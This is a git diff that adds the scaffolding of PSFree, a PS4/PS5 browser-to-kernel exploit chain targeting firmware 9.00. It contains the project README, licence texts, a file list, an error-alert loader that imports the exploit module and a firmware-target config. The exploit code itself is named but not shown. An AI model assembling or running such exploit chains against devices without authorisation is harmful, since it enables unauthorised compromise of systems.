copy from or adapt all or part of the work +in a fashion requiring copyright permission, other than the making of an +exact copy. The resulting work is called a "modified version" of the +earlier work or a work "based on" the earlier work. + + A "covered work" means either the unmodified Program or a work based +on the Program. + + To "propagate" a work means to do anything with it that, without +permission, would make you directly or secondarily liable for +infringement under applicable copyright law, except executing it on a +computer or modifying a private copy. Propagation includes copying, +distribution (with or without modification), making available to the +public, and in some countries other activities as well. + + To "convey" a work means any kind of propagation that enables other +parties to make or receive copies. Mere interaction with a user through +a computer network, with no transfer of a copy, is not conveying. + + An interactive user interface displays "Appropriate Legal Notices" +to the extent that it includes a convenient and prominently visible +feature that (1) displays an appropriate copyright notice, and (2) +tells the user that there is no warranty for the work (except to the +extent that warranties are provided), that licensees may convey the +work under this License, and how to view a copy of this License. If +the interface presents a list of user commands or options, such as a +menu, a prominent item in the list meets this criterion. + + 1. Source Code. + + The "source code" for a work means the preferred form of the work +for making modifications to it. "Object code" means any non-source +form of a work. + + A "Standard Interface" means an interface that either is an official +standard defined by a recognized standards body, or, in the case of +interfaces specified for a particular programming language, one that +is widely used among developers working in that language. + + The "System Libraries" of an executable work include anything, other +than the work as a whole, that (a) is included in the normal form of +packaging a Major Component, but which is not part of that Major +Component, and (b) serves only to enable use of the work with that +Major Component, or to implement a Standard Interface for which an +implementation is available to the public in source code form. A +"Major Component", in this context, means a major essential component +(kernel, window system, and so on) of the specific operating system +(if any) on which the executable work runs, or a compiler used to +produce the work, or an object code interpreter used to run it. + + The "Corresponding Source" for a work in object code form means all +the source code needed to generate, install, and (for an executable +work) run the object code and to modify the work, including scripts to +control those activities. However, it does not include the work's +System Libraries, or general-purpose tools or generally available free +programs which are used unmodified in performing those activities but +which are not part of the work. For example, Corresponding Source +includes interface definition files associated with source files for +the work, and the source code for shared libraries and dynamically +linked subprograms that the work is specifically designed to require, +such as by intimate data communication or control flow between those +subprograms and other parts of the work. + + The Corresponding Source need not include anything that users +can regenerate automatically from other parts of the Corresponding +Source. + + The Corresponding Source for a work in source code form is that +same work. + + 2. Basic Permissions. + + All rights granted under this License are granted for the term of +copyright on the Program, and are irrevocable provided the stated +conditions are met. This License explicitly affirms your unlimited +permission to run the unmodified Program. The output from running a +covered work is covered by this License only if the output, given its +content, constitutes a covered work. This License acknowledges your +rights of fair use or other equivalent, as provided by copyright law. + + You may make, run and propagate covered works that you do not +convey, without conditions so long as your license otherwise remains +in force. You may convey covered works to others for the sole purpose +of having them make modifications exclusively for you, or provide you +with facilities for running those works, provided that you comply with +the terms of this License in conveying all material for which you do +not control copyright. Those thus making or running the covered works +for you must do so exclusively on your behalf, under your direction +and control, on terms that prohibit them from making any copies of +your copyrighted material outside their relationship with you. + + Conveying under any other circumstances is permitted solely under +the conditions stated below. Sublicensing is not allowed; section 10 +makes it unnecessary. + + 3. Protecting Users' Legal Rights From Anti-Circumvention Law. + + No covered work shall be deemed part of an effective technological +measure under any applicable law fulfilling obligations under article +11 of the WIPO copyright treaty adopted on 20 December 1996, or +similar laws prohibiting or restricting circumvention of such +measures. + + When you convey a covered work, you waive any legal power to forbid +circumvention of technological measures to the extent such circumvention +is effected by exercising rights under this License with respect to +the covered work, and you disclaim any intention to limit operation or +modification of the work as a means of enforcing, against the work's +users, your or third parties' legal rights to forbid circumvention of +technological measures. + + 4. Conveying Verbatim Copies. + + You may convey verbatim copies of the Program's source code as you +receive it, in any medium, provided that you conspicuously and +appropriately publish on each copy an appropriate copyright notice; +keep intact all notices stating that this License and any +non-permissive terms added in accord with section 7 apply to the code; +keep intact all notices of the absence of any warranty; and give all +recipients a copy of this License along with the Program. + + You may charge any price or no price for each copy that you convey, +and you may offer support or warranty protection for a fee. + + 5. Conveying Modified Source Versions. + + You may convey a work based on the Program, or the modifications to +produce it from the Program, in the form of source code under the +terms of section 4, provided that you also meet all of these conditions: + + a) The work must carry prominent notices stating that you modified + it, and giving a relevant date. + + b) The work must carry prominent notices stating that it is + released under this License and any conditions added under section + 7. This requirement modifies the requirement in section 4 to + "keep intact all notices". + + c) You must license the entire work, as a whole, under this + License to anyone who comes into possession of a copy. This + License will therefore apply, along with any applicable section 7 + additional terms, to the whole of the work, and all its parts, + regardless of how they are packaged. This License gives no + permission to license the work in any other way, but it does not + invalidate such permission if you have separately received it. + + d) If the work has interactive user interfaces, each must display + Appropriate Legal Notices; however, if the Program has interactive + interfaces that do not display Appropriate Legal Notices, your + work need not make them do so. + + A compilation of a covered work with other separate and independent +works, which are not by their nature extensions of the covered work, +and which are not combined with it such as to form a larger program, +in or on a volume of a storage or distribution medium, is called an +"aggregate" if the compilation and its resulting copyright are not +used to limit the access or legal rights of the compilation's users +beyond what the individual works permit. Inclusion of a covered work +in an aggregate does not cause this License to apply to the other +parts of the aggregate. + + 6. Conveying Non-Source Forms. + + You may convey a covered work in object code form under the terms +of sections 4 and 5, provided that you also convey the +machine-readable Corresponding Source under the terms of this License, +in one of these ways: + + a) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by the + Corresponding Source fixed on a durable physical medium + customarily used for software interchange. + + b) Convey the object code in, or embodied in, a physical product + (including a physical distribution medium), accompanied by a + written offer, valid for at least three years and valid for as + long as you offer spare parts or customer support for that product + model, to give anyone who possesses the object code either (1) a + copy of the Corresponding Source for all the software in the + product that is covered by this License, on a durable physical + medium customarily used for software interchange, for a price no + more than your reasonable cost of physically performing this + conveying of source, or (2) access to copy the + Corresponding Source from a network server at no charge. + + c) Convey individual copies of the object code with a copy of the + written offer to provide the Corresponding Source. This + alternative is allowed only occasionally and noncommercially, and + only if you received the object code with such an offer, in accord + with subsection 6b. + + d) Convey the object code by offering access from a designated + place (gratis or for a charge), and offer equivalent access to the + Corresponding Source in the same way through the same place at no + further charge. You need not require recipients to copy the + Corresponding Source along with the object code. If the place to + copy the object code is a network server, the Corresponding Source + may be on a different server (operated by you or a third party) + that supports equivalent copying facilities, provided you maintain + clear directions next to the object code saying where to find the + Corresponding Source. Regardless of what server hosts the + Corresponding Source, you remain obligated to ensure that it is + available for as long as needed to satisfy these requirements. + + e) Convey the object code using peer-to-peer transmission, provided + you inform other peers where the object code and Corresponding + Source of the work are being offered to the general public at no + charge under subsection 6d. + + A separable portion of the object code, whose source code is excluded +from the Corresponding Source as a System Library, need not be +included in conveying the object code work. + + A "User Product" is either (1) a "consumer product", which means any +tangible personal property which is normally used for personal, family, +or household purposes, or (2) anything designed or sold for incorporation +into a dwelling. In determining whether a product is a consumer product, +doubtful cases shall be resolved in favor of coverage. For a particular +product received by a particular user, "normally used" refers to a +typical or common use of that class of product, regardless of the status +of the particular user or of the way in which the particular user +actually uses, or expects or is expected to use, the product. A product +is a consumer product regardless of whether the product has substantial +commercial, industrial or non-consumer uses, unless such uses represent +the only significant mode of use of the product. + + "Installation Information" for a User Product means any methods, +procedures, authorization keys, or other information required to install +and execute modified versions of a covered work in that User Product from +a modified version of its Corresponding Source. The information must +suffice to ensure that the continued functioning of the modified object +code is in no case prevented or interfered with solely because +modification has been made. + + If you convey an object code work under this section in, or with, or +specifically for use in, a User Product, and the conveying occurs as +part of a transaction in which the right of possession and use of the +User Product is transferred to the recipient in perpetuity or for a +fixed term (regardless of how the transaction is characterized), the +Corresponding Source conveyed under this section must be accompanied +by the Installation Information. But this requirement does not apply +if neither you nor any third party retains the ability to install +modified object code on the User Product (for example, the work has +been installed in ROM). + + The requirement to provide Installation Information does not include a +requirement to continue to provide support service, warranty, or updates +for a work that has been modified or installed by the recipient, or for +the User Product in which it has been modified or installed. Access to a +network may be denied when the modification itself materially and +adversely affects the operation of the network or violates the rules and +protocols for communication across the network. + + Corresponding Source conveyed, and Installation Information provided, +in accord with this section must be in a format that is publicly +documented (and with an implementation available to the public in +source code form), and must require no special password or key for +unpacking, reading or copying. + + 7. Additional Terms. + + "Additional permissions" are terms that supplement the terms of this +License by making exceptions from one or more of its conditions. +Additional permissions that are applicable to the entire Program shall +be treated as though they were included in this License, to the extent +that they are valid under applicable law. If additional permissions +apply only to part of the Program, that part may be used separately +under those permissions, but the entire Program remains governed by +this License without regard to the additional permissions. + + When you convey a copy of a covered work, you may at your option +remove any additional permissions from that copy, or from any part of +it. (Additional permissions may be written to require their own +removal in certain cases when you modify the work.) You may place +additional permissions on material, added by you to a covered work, +for which you have or can give appropriate copyright permission. + + Notwithstanding any other provision of this License, for material you +add to a covered work, you may (if authorized by the copyright holders of +that material) supplement the terms of this License with terms: + + a) Disclaiming warranty or limiting liability differently from the + terms of sections 15 and 16 of this License; or + + b) Requiring preservation of specified reasonable legal notices or + author attributions in that material or in the Appropriate Legal + Notices displayed by works containing it; or + + c) Prohibiting misrepresentation of the origin of that material, or + requiring that modified versions of such material be marked in + reasonable ways as different from the original version; or + + d) Limiting the use for publicity purposes of names of licensors or + authors of the material; or + + e) Declining to grant rights under trademark law for use of some + trade names, trademarks, or service marks; or + + f) Requiring indemnification of licensors and authors of that + material by anyone who conveys the material (or modified versions of + it) with contractual assumptions of liability to the recipient, for + any liability that these contractual assumptions directly impose on + those licensors and authors. + + All other non-permissive additional terms are considered "further +restrictions" within the meaning of section 10. If the Program as you +received it, or any part of it, contains a notice stating that it is +governed by this License along with a term that is a further +restriction, you may remove that term. If a license document contains +a further restriction but permits relicensing or conveying under this +License, you may add to a covered work material governed by the terms +of that license document, provided that the further restriction does +not survive such relicensing or conveying. + + If you add terms to a covered work in accord with this section, you +must place, in the relevant source files, a statement of the +additional terms that apply to those files, or a notice indicating +where to find the applicable terms. + + Additional terms, permissive or non-permissive, may be stated in the +form of a separately written license, or stated as exceptions; +the above requirements apply either way. + + 8. Termination. + + You may not propagate or modify a covered work except as expressly +provided under this License. Any attempt otherwise to propagate or +modify it is void, and will automatically terminate your rights under +this License (including any patent licenses granted under the third +paragraph of section 11). + + However, if you cease all violation of this License, then your +license from a particular copyright holder is reinstated (a) +provisionally, unless and until the copyright holder explicitly and +finally terminates your license, and (b) permanently, if the copyright +holder fails to notify you of the violation by some reasonable means +prior to 60 days after the cessation. + + Moreover, your license from a particular copyright holder is +reinstated permanently if the copyright holder notifies you of the +violation by some reasonable means, this is the first time you have +received notice of violation of this License (for any work) from that +copyright holder, and you cure the violation prior to 30 days after +your receipt of the notice. + + Termination of your rights under this section does not terminate the +licenses of parties who have received copies or rights from you under +this License. If your rights have been terminated and not permanently +reinstated, you do not qualify to receive new licenses for the same +material under section 10. + + 9. Acceptance Not Required for Having Copies. + + You are not required to accept this License in order to receive or +run a copy of the Program. Ancillary propagation of a covered work +occurring solely as a consequence of using peer-to-peer transmission +to receive a copy likewise does not require acceptance. However, +nothing other than this License grants you permission to propagate or +modify any covered work. These actions infringe copyright if you do +not accept this License. Therefore, by modifying or propagating a +covered work, you indicate your acceptance of this License to do so. + + 10. Automatic Licensing of Downstream Recipients. + + Each time you convey a covered work, the recipient automatically +receives a license from the original licensors, to run, modify and +propagate that work, subject to this License. You are not responsible +for enforcing compliance by third parties with this License. + + An "entity transaction" is a transaction transferring control of an +organization, or substantially all assets of one, or subdividing an +organization, or merging organizations. If propagation of a covered +work results from an entity transaction, each party to that +transaction who receives a copy of the work also receives whatever +licenses to the work the party's predecessor in interest had or could +give under the previous paragraph, plus a right to possession of the +Corresponding Source of the work from the predecessor in interest, if +the predecessor has it or can get it with reasonable efforts. + + You may not impose any further restrictions on the exercise of the +rights granted or affirmed under this License. For example, you may +not impose a license fee, royalty, or other charge for exercise of +rights granted under this License, and you may not initiate litigation +(including a cross-claim or counterclaim in a lawsuit) alleging that +any patent claim is infringed by making, using, selling, offering for +sale, or importing the Program or any portion of it. + + 11. Patents. + + A "contributor" is a copyright holder who authorizes use under this +License of the Program or a work on which the Program is based. The +work thus licensed is called the contributor's "contributor version". + + A contributor's "essential patent claims" are all patent claims +owned or controlled by the contributor, whether already acquired or +hereafter acquired, that would be infringed by some manner, permitted +by this License, of making, using, or selling its contributor version, +but do not include claims that would be infringed only as a +consequence of further modification of the contributor version. For +purposes of this definition, "control" includes the right to grant +patent sublicenses in a manner consistent with the requirements of +this License. + + Each contributor grants you a non-exclusive, worldwide, royalty-free +patent license under the contributor's essential patent claims, to +make, use, sell, offer for sale, import and otherwise run, modify and +propagate the contents of its contributor version. + + In the following three paragraphs, a "patent license" is any express +agreement or commitment, however denominated, not to enforce a patent +(such as an express permission to practice a patent or covenant not to +sue for patent infringement). To "grant" such a patent license to a +party means to make such an agreement or commitment not to enforce a +patent against the party. + + If you convey a covered work, knowingly relying on a patent license, +and the Corresponding Source of the work is not available for anyone +to copy, free of charge and under the terms of this License, through a +publicly available network server or other readily accessible means, +then you must either (1) cause the Corresponding Source to be so +available, or (2) arrange to deprive yourself of the benefit of the +patent license for this particular work, or (3) arrange, in a manner +consistent with the requirements of this License, to extend the patent +license to downstream recipients. "Knowingly relying" means you have +actual knowledge that, but for the patent license, your conveying the +covered work in a country, or your recipient's use of the covered work +in a country, would infringe one or more identifiable patents in that +country that you have reason to believe are valid. + + If, pursuant to or in connection with a single transaction or +arrangement, you convey, or propagate by procuring conveyance of, a +covered work, and grant a patent license to some of the parties +receiving the covered work authorizing them to use, propagate, modify +or convey a specific copy of the covered work, then the patent license +you grant is automatically extended to all recipients of the covered +work and works based on it. + + A patent license is "discriminatory" if it does not include within +the scope of its coverage, prohibits the exercise of, or is +conditioned on the non-exercise of one or more of the rights that are +specifically granted under this License. You may not convey a covered +work if you are a party to an arrangement with a third party that is +in the business of distributing software, under which you make payment +to the third party based on the extent of your activity of conveying +the work, and under which the third party grants, to any of the +parties who would receive the covered work from you, a discriminatory +patent license (a) in connection with copies of the covered work +conveyed by you (or copies made from those copies), or (b) primarily +for and in connection with specific products or compilations that +contain the covered work, unless you entered into that arrangement, +or that patent license was granted, prior to 28 March 2007. + + Nothing in this License shall be construed as excluding or limiting +any implied license or other defenses to infringement that may +otherwise be available to you under applicable patent law. + + 12. No Surrender of Others' Freedom. + + If conditions are imposed on you (whether by court order, agreement or +otherwise) that contradict the conditions of this License, they do not +excuse you from the conditions of this License. If you cannot convey a +covered work so as to satisfy simultaneously your obligations under this +License and any other pertinent obligations, then as a consequence you may +not convey it at all. For example, if you agree to terms that obligate you +to collect a royalty for further conveying from those to whom you convey +the Program, the only way you could satisfy both those terms and this +License would be to refrain entirely from conveying the Program. + + 13. Remote Network Interaction; Use with the GNU General Public License. + + Notwithstanding any other provision of this License, if you modify the +Program, your modified version must prominently offer all users +interacting with it remotely through a computer network (if your version +supports such interaction) an opportunity to receive the Corresponding +Source of your version by providing access to the Corresponding Source +from a network server at no charge, through some standard or customary +means of facilitating copying of software. This Corresponding Source +shall include the Corresponding Source for any work covered by version 3 +of the GNU General Public License that is incorporated pursuant to the +following paragraph. + + Notwithstanding any other provision of this License, you have +permission to link or combine any covered work with a work licensed +under version 3 of the GNU General Public License into a single +combined work, and to convey the resulting work. The terms of this +License will continue to apply to the part which is the covered work, +but the work with which it is combined will remain governed by version +3 of the GNU General Public License. + + 14. Revised Versions of this License. + + The Free Software Foundation may publish revised and/or new versions of +the GNU Affero General Public License from time to time. Such new versions +will be similar in spirit to the present version, but may differ in detail to +address new problems or concerns. + + Each version is given a distinguishing version number. If the +Program specifies that a certain numbered version of the GNU Affero General +Public License "or any later version" applies to it, you have the +option of following the terms and conditions either of that numbered +version or of any later version published by the Free Software +Foundation. If the Program does not specify a version number of the +GNU Affero General Public License, you may choose any version ever published +by the Free Software Foundation. + + If the Program specifies that a proxy can decide which future +versions of the GNU Affero General Public License can be used, that proxy's +public statement of acceptance of a version permanently authorizes you +to choose that version for the Program. + + Later license versions may give you additional or different +permissions. However, no additional obligations are imposed on any +author or copyright holder as a result of your choosing to follow a +later version. + + 15. Disclaimer of Warranty. + + THERE IS NO WARRANTY FOR THE PROGRAM, TO THE EXTENT PERMITTED BY +APPLICABLE LAW. EXCEPT WHEN OTHERWISE STATED IN WRITING THE COPYRIGHT +HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY +OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, +THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR +PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE OF THE PROGRAM +IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF +ALL NECESSARY SERVICING, REPAIR OR CORRECTION. + + 16. Limitation of Liability. + + IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING +WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MODIFIES AND/OR CONVEYS +THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY +GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE +USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF +DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD +PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), +EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF +SUCH DAMAGES. + + 17. Interpretation of Sections 15 and 16. + + If the disclaimer of warranty and limitation of liability provided +above cannot be given local legal effect according to their terms, +reviewing courts shall apply local law that most closely approximates +an absolute waiver of all civil liability in connection with the +Program, unless a warranty or assumption of liability accompanies a +copy of the Program in return for a fee. + + END OF TERMS AND CONDITIONS + + How to Apply These Terms to Your New Programs + + If you develop a new program, and you want it to be of the greatest +possible use to the public, the best way to achieve this is to make it +free software which everyone can redistribute and change under these terms. + + To do so, attach the following notices to the program. It is safest +to attach them to the start of each source file to most effectively +state the exclusion of warranty; and each file should have at least +the "copyright" line and a pointer to where the full notice is found. + + + Copyright (C) + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU Affero General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU Affero General Public License for more details. + + You should have received a copy of the GNU Affero General Public License + along with this program. If not, see . + +Also add information on how to contact you by electronic and paper mail. + + If your software can interact with users remotely through a computer +network, you should also make sure that it provides a way for users to +get its source. For example, if your program is a web application, its +interface could display a "Source" link that leads users to an archive +of the code. There are many ways you could offer source, and different +solutions will be better for different programs; see section 13 for the +specific requirements. + + You should also get your employer (if you work as a programmer) or school, +if any, to sign a "copyright disclaimer" for the program, if necessary. +For more information on this, and how to apply and follow the GNU AGPL, see +. diff --git a/psfree/README.md b/psfree/README.md new file mode 100644 index 0000000..04ffae4 --- /dev/null +++ b/psfree/README.md @@ -0,0 +1,30 @@ +# PSFree version 1.5.0 + +Lapse Kex ported to 9.00 - Still WIP + +Very fast and reliable but can KP :P + +- Needs a bin loader on Port 9020. +- Some performance Tweaks??. +- Add sysveri Patch + +PR are welcome + +PSFree is a collection of exploits for the PS4 console. The main focus of the +repo is for the PS4 but we try to make things portable to PS5. + +* Exploits + * PSFree: src/psfree.mjs + * Lapse (kernel): src/scripts/lapse.mjs + +Donation (Monero/XMR): +86Fk3X9AE94EGKidzRbvyiVgGNYD3qZnuKNq1ZbsomFWXHYm6TtAgz9GNGitPWadkS3Wr9uXoT29U1SfdMtJ7QNKQpW1CVS + +# COPYRIGHT AND AUTHORS: +AGPL-3.0-or-later (see src/COPYING). This repo belongs to the group +`anonymous`. We refer to anonymous contributors as "anonymous" as well. + +# CREDITS: +* anonymous for PS4 firmware kernel dumps +* Check the appropriate files for any **extra** contributors. Unless otherwise + stated, everything here can also be credited to us. diff --git a/psfree/about.html b/psfree/about.html new file mode 100644 index 0000000..2fc6be3 --- /dev/null +++ b/psfree/about.html @@ -0,0 +1,116 @@ + + + + + About PSFree + + + PSFree is an exploit chain for PS4 and PS5.
+ PSFree is free software. See COPYING for the copyleft information.
+ PSFree's license is GNU-AGPL-3.0-or-later.
+ Here is the source code of this program:
+
+ HTML files:
+ index.html
+ about.html
+ JavaScript files:
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
psfree.mjsGNU-AGPL-3.0-or-laterdownload
alert.mjsGNU-AGPL-3.0-or-laterdownload
config.mjsGNU-AGPL-3.0-or-laterdownload
send.mjsGNU-AGPL-3.0-or-laterdownload
scripts/lapse.mjsGNU-AGPL-3.0-or-laterdownload
rop/800.mjsGNU-AGPL-3.0-or-laterdownload
module/chain.mjsGNU-AGPL-3.0-or-laterdownload
module/int64.mjsGNU-AGPL-3.0-or-laterdownload
module/view.mjsGNU-AGPL-3.0-or-laterdownload
module/memtools.mjsGNU-AGPL-3.0-or-laterdownload
module/utils.mjsGNU-AGPL-3.0-or-laterdownload
module/rw.mjsGNU-AGPL-3.0-or-laterdownload
module/offset.mjsGNU-AGPL-3.0-or-laterdownload
module/mem.mjsGNU-AGPL-3.0-or-laterdownload
+ kpatch/ files:
+ kpatch/utils.h
+ kpatch/script.ld
+ kpatch/Makefile
+ kpatch/80x.c
+ kpatch/types.h
+ fonts/ files:
+ fonts/README.txt
+ fonts/FONTS.LICENSE
+ fonts/LiberationMono-Regular.ttf
+ + diff --git a/psfree/alert.mjs b/psfree/alert.mjs new file mode 100644 index 0000000..b5a7371 --- /dev/null +++ b/psfree/alert.mjs @@ -0,0 +1,52 @@ +/* Copyright (C) 2023-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// We can't just open a console on the ps4 browser, make sure the errors thrown +// by our program are alerted. + +// We don't use a custom logging function to avoid a dependency on a logging +// module since we want this file to stand alone. We don't want to copy the +// log function here either for the sake avoiding dependencies since using +// alert() is good enough. + +// We log the line and column numbers as well since some exceptions (like +// SyntaxError) do not show it in the stack trace. + +addEventListener('unhandledrejection', event => { + const reason = event.reason; + alert( + 'Unhandled rejection\n' + + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); +}); + +addEventListener('error', event => { + const reason = event.error; + alert( + 'Unhandled error\n' + + `${reason}\n` + + `${reason.sourceURL}:${reason.line}:${reason.column}\n` + + `${reason.stack}` + ); + return true; +}); + +// we have to dynamically import the program if we want to catch its syntax +// errors +import('./psfree.mjs'); diff --git a/psfree/cache.html b/psfree/cache.html new file mode 100644 index 0000000..2ce7382 --- /dev/null +++ b/psfree/cache.html @@ -0,0 +1,23 @@ + + +PSFree-Lapse Exploit For PS4 9.00 + + + + + +
+ + \ No newline at end of file diff --git a/psfree/config.mjs b/psfree/config.mjs new file mode 100644 index 0000000..60325c8 --- /dev/null +++ b/psfree/config.mjs @@ -0,0 +1,70 @@ +/* Copyright (C) 2023-2025 anonymous + +This file is part of PSFree. + +PSFree is free software: you can redistribute it and/or modify +it under the terms of the GNU Affero General Public License as +published by the Free Software Foundation, either version 3 of the +License, or (at your option) any later version. + +PSFree is distributed in the hope that it will be useful, +but WITHOUT ANY WARRANTY; without even the implied warranty of +MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +GNU Affero General Public License for more details. + +You should have received a copy of the GNU Affero General Public License +along with this program. If not, see . */ + +// webkitgtk 2.34.4 was used to develop the portable parts of the exploit +// before moving on to ps4 8.03 +// +// webkitgtk 2.34.4 was built with cmake variable ENABLE_JIT=OFF, that variable +// can affect the size of SerializedScriptValue +// +// this target is no longer supported + +// target firmware format used by PSFree +// +// 0xC_MM_mm +// +// * C console - PS4 (0) or PS5 (1) (1 bit) +// * MM major version - integer part of the firmware version (8 bits) +// * mm minor version - fractional part of the firmware version (8 bits) +// +// examples: +// * PS4 10.00 -> C = 0 MM = 10 mm = 0 -> 0x0_10_00 +// * PS5 4.51 -> C = 1 MM = 4 mm = 51 -> 0x1_04_51 + +// check if value is in Binary Coded Decimal format +// assumes integer and is in the range [0, 0xffff] +function check_bcd(value) { + for (let i = 0; i <= 12; i += 4) { + const nibble = (value >>> i) & 0xf; + + if (nibble > 9) { + return false; + } + } + + return true; +} + +export function set_target(value) { + if (!Number.isInteger(value)) { + throw TypeError(`value not an integer: ${value}`); + } + + if (value >= 0x20000 || value < 0) { + throw RangeError(`value >= 0x20000 or value < 0: ${value}`); + } + + const version = value & 0xffff; + if (!check_bcd(version)) { + throw RangeError(`value & 0xffff not in BCD format ${version}`); + } + + target = value; +} + +export let target = null; +set_target(0x900); diff --git a/psfree/fonts/FONTS.LICENSE b/psfree/fonts/FONTS.LICENSE new file mode 100644 index 0000000..94475dd --- /dev/null +++ b/psfree/fonts/FONTS.LICENSE @@ -0,0 +1,101 @@ +Digitized data copyright (c) 2010 Google Corporation + with Reserved Font Arimo, Tinos and Cousine. +Copyright (c) 2012 Red Hat, Inc. + with Reserved Font Name Liberation. + +This Font Software is licensed under the SIL Open Font License, +Version 1.1. + +This license is copied below, and is also available with a FAQ at: +http://scripts.sil.org/OFL + +SIL OPEN FONT LICENSE Version 1.1 - 26 February 2007 + +PREAMBLE The goals of the Open Font License (OFL) are to stimulate +worldwide development of collaborative font projects, to support the font +creation efforts of academic and linguistic communities, and to provide +a free and open framework in which fonts may be shared and improved in +partnership with others. + +The OFL allows the licensed fonts to be used, studied, modified and +redistributed freely as long as they are not sold by themselves. +The fonts, including any derivative works, can be bundled, embedded, +redistributed and/or sold with any software provided that any reserved +names are not used by derivative works. The fonts and derivatives, +however, cannot be released under any other type of license. The +requirement for fonts to remain under this license does not apply to +any document created using the fonts or their derivatives. + + + +DEFINITIONS +"Font Software" refers to the set of files released by the Copyright +Holder(s) under this license and clearly marked as such. +This may include source files, build scripts and documentation. + +"Reserved Font Name" refers to any names specified as such after the +copyright statement(s). + +"Original Version" refers to the collection of Font Software components +as distributed by the Copyright Holder(s). + +"Modified Version" refers to any derivative made by adding to, deleting, +or substituting ? in part or in whole ? +any of the components of the Original Version, by changing formats or +by porting the Font Software to a new environment. + +"Author" refers to any designer, engineer, programmer, technical writer +or other person who contributed to the Font Software. + + +PERMISSION & CONDITIONS + +Permission is hereby granted, free of charge, to any person obtaining a +copy of the Font Software, to use, study, copy, merge, embed, modify, +redistribute, and sell modified and unmodified copies of the Font +Software, subject to the following conditions: + +1) Neither the Font Software nor any of its individual components,in + Original or Modified Versions, may be sold by itself. + +2) Original or Modified Versions of the Font Software may be bundled, + redistributed and/or sold with any software, provided that each copy + contains the above copyright notice and this license. These can be + included either as stand-alone text files, human-readable headers or + in the appropriate machine-readable metadata fields within text or + binary files as long as those fields can be easily viewed by the user. + +3) No Modified Version of the Font Software may use the Reserved Font + Name(s) unless explicit written permission is granted by the + corresponding Copyright Holder. This restriction only applies to the + primary font name as presented to the users. + +4) The name(s) of the Copyright Holder(s) or the Author(s) of the Font + Software shall not be used to promote, endorse or advertise any + Modified Version, except to acknowledge the contribution(s) of the + Copyright Holder(s) and the Author(s) or with their explicit written + permission. + +5) The Font Software, modified or unmodified, in part or in whole, must + be distributed entirely under this license, and must not be distributed + under any other license. The requirement for fonts to remain under + this license does not apply to any document created using the Font + Software. + + + +TERMINATION +This license becomes null and void if any of the above conditions are not met. + + + +DISCLAIMER +THE FONT SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, +EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO ANY WARRANTIES OF +MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT +OF COPYRIGHT, PATENT, TRADEMARK, OR OTHER RIGHT. IN NO EVENT SHALL THE +COPYRIGHT HOLDER BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, +INCLUDING ANY GENERAL, SPECIAL, INDIRECT, INCIDENTAL, OR CONSEQUENTIAL +DAMAGES, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING +FROM, OUT OF THE USE OR INABILITY TO USE THE FONT SOFTWARE OR FROM OTHER +DEALINGS IN THE FONT SOFTWARE. diff --git a/psfree/fonts/LiberationMono-Regular.ttf b/psfree/fonts/LiberationMono-Regular.ttf new file mode 100644 index 0000000000000000000000000000000000000000..d91164dbfe488cb332e396c38589c783d11c9326 GIT binary patch literal 319624 zcmbTf4M3Dt_V|D9^UT2TqPz%#g3chKn5Zb4TBPF(h-r$61->LEmX#$Xm6au#6`3X# zl@%40mARCoSz%FGxn*UWyIJdQwvky{SyH*JZ94ou=V8Wm+uHs9|C66N_nv$1x#zw- z_j#Ea5+fpsyt%|zSXgq#&42MfAg)J~(58uhmw9%fmMSm98o;@P=`pHuV43bM;xJksU!@hj(#d9jV+l^m|^xh{D@xt6Is(j~1 zTzt03sXIlir_ZZA|KjWBJeMHSzd7e$*A5V=C>Q&K zmihDMRK)tvn~47$%1@q;!t+{0DftTWJ?CFswRqv4KncD*B3XMDESx(h@r{QmA5l%d z<>EPuD?5Da+KPP*_P$HzTs&{^wcl?L*C~FHm`5uYE~@&lYaIP8Al_NsDleN?x&4Qg zt7!_K?yE(|%Ib1&%(ZvC{x0$_WIbXzHE53B zKY8q42Kn8iS^vD+{ar|}m7G`9m8yxl()5rbnIRF>jF$m2lTqDbCx}g{?RwYLikmp@ 